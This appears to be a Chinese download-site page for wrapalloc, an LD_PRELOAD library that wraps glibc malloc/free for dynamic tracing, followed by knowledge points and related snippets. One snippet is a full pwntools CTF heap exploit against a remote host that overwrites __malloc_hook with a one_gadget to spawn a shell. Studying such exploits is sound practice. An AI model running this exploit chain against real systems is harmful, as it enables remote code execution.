活动介绍
file-type

wrapalloc: LD_PRELOAD技术简化Linux动态跟踪

ZIP文件

下载需积分: 14 | 2KB | 更新于2024-12-18 | 24 浏览量 | 0 下载量 举报 收藏
download 立即下载
知识点: 1. LD_PRELOAD技术: LD_PRELOAD是Linux系统中的一个环境变量,用于指定在程序运行前加载的共享库。通过设置这个环境变量,用户可以自定义程序加载的函数库,从而覆盖或修改程序中的某些函数行为。这一技术常常被用于调试、性能优化、安全审计等场景。 2. glibc: glibc是GNU C库(GNU C Library)的简称,它是Linux系统上主要的C库,用于提供POSIX API和C标准库的实现。在Linux系统中,大部分应用程序都是通过glibc来调用底层系统服务的。 3. 动态跟踪工具: 动态跟踪工具如systemtap, strace等,它们能够在不中断程序运行的情况下,监控和分析程序的行为和状态。动态跟踪可以用于调试、性能分析、安全审计等场景。 4. 内存分配和释放API函数: 在C语言中,动态内存分配和释放主要通过 malloc、free、calloc 和 realloc 等函数进行。这些函数是由glibc提供的接口,用于在堆上分配和释放内存。 5. systemtap: systemtap是一个强大的动态跟踪工具,它可以用来分析Linux内核和用户程序的行为。通过插入特定的脚本代码,systemtap可以在运行时检测、跟踪和收集系统的各种信息。 6. make工具: make是一个常用的自动化编译工具,它可以根据Makefile文件中的规则,自动决定哪些文件需要重新编译,从而高效的构建和维护程序。在wrapalloc项目中,通过执行make命令,可以编译源代码,生成所需的.so共享库文件。 7. C语言编程: 项目涉及到C语言编程,需要有一定的C语言基础才能理解和修改源代码。C语言作为一种广泛使用的系统编程语言,具有高效的执行性能,它在操作系统、系统工具和服务器应用等领域有着重要的应用。 8. 源代码管理: 从提供的文件名称列表中,“wrapalloc-master”表明这是一个源代码项目。它可能使用了如Git等版本控制系统进行源代码的管理和版本控制。源代码管理帮助开发者追踪和管理代码变更,进行协作开发。 9. 作者信息: 张奕春(agentzh)是wrapalloc项目的作者,根据作者名可以推断作者可能有丰富的系统编程和动态跟踪工具使用经验,对于从事性能调优、系统开发以及安全审计的人员来说,该项目具有一定的参考价值。 10. 内存管理问题: 由于glibc的内存分配和释放API可能会受到编译器优化的影响,导致动态跟踪工具无法获取准确的内存分配信息。wrapalloc项目通过包装这些API,使得动态跟踪工具能够更可靠地工作,避免了调试信息不准确的问题。 11. 调试信息问题: 在Linux系统中,如果glibc在非常积极的优化标志下生成了不正确的调试信息,可能会干扰动态跟踪工具的正常使用。wrapalloc项目旨在解决这一问题,以提高调试和分析的准确性。 12. 动态跟踪的实际应用: 动态跟踪在软件开发和维护过程中非常重要,它可以用于理解软件的行为,发现和修复缺陷,优化性能等。wrapalloc项目简化了动态跟踪的复杂性,使得开发者可以更加专注于分析结果,而不需要担心跟踪过程中的技术细节。 通过上述知识点的详细介绍,我们可以看到wrapalloc项目不仅仅是一个技术工具,它背后涵盖了丰富的系统编程、软件开发和性能优化的相关知识。

相关推荐

filetype

import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice):     p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com):     menu(1)     # menu(1)     p.sendlineafter(b"Damage of skill : ",str(size))     p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size):     menu(2)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com):     menu(3)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"introduction of skill : ",com) def show(idx):     menu(4)     p.sendlineafter(b"Index :",str(idx)) def delete(idx):     menu(5)     p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()

filetype

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/mman.h> #define _GNU_SOURCE #include <dlfcn.h> typedef void* (*hook_mmap)(void *addr, size_t length, int prot, int flags, int fd, off_t offset); typedef void* (*hook_munmap)(void *addr, size_t length); void* fun(void *ptr){ while(1){ } } void *__GI___mmap64(void *addr, size_t length, int prot, int flags, int fd, off_t offset){ static hook_mmap pmmap = NULL; if(pmmap == NULL){ pmmap = (hook_mmap)dlsym(RTLD_NEXT, "__GI___mmap64"); } static char buffer[128] = {0}; void *caller_addr = __builtin_return_address(0); void *ptr = pmmap(addr, length, prot, flags, fd, offset); int ret = sprintf(buffer, "%p: __mmap:%p,%ld\n", caller_addr, ptr, length); write(1, buffer, ret); write(fd, buffer, ret); fsync(fd); return ptr; } void* __wrap___mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset) { printf("拦截__mmap调用! size=%zu\n", length); // 调用原始__mmap函数 static hook_mmap pmmap = NULL; if(pmmap == NULL){ pmmap = (hook_mmap)dlsym(RTLD_NEXT, "mmap64"); } static char buffer[128] = {0}; void *caller_addr = __builtin_return_address(0); void *ptr = pmmap(addr, length, prot, flags, fd, offset); int ret = sprintf(buffer, "%p: __mmap:%p,%ld\n", caller_addr, ptr, length); write(1, buffer, ret); write(fd, buffer, ret); fsync(fd); printf("分配地址: %p\n", ptr); return ptr; } int main(){ void *paddr = malloc(10); printf("Allocated memory at %p\n", paddr); pthread_t tid = 0; pthread_create(&tid, NULL, fun, NULL); void *ptr = mmap(NULL, 1024, 0, 0, -1, 0); while(1){ } free(paddr); return 0; } gcc memtest.c -o memtest -Wl,--wrap=__mmap

LiuTitanium
  • 粉丝: 34
上传资源 快速赚钱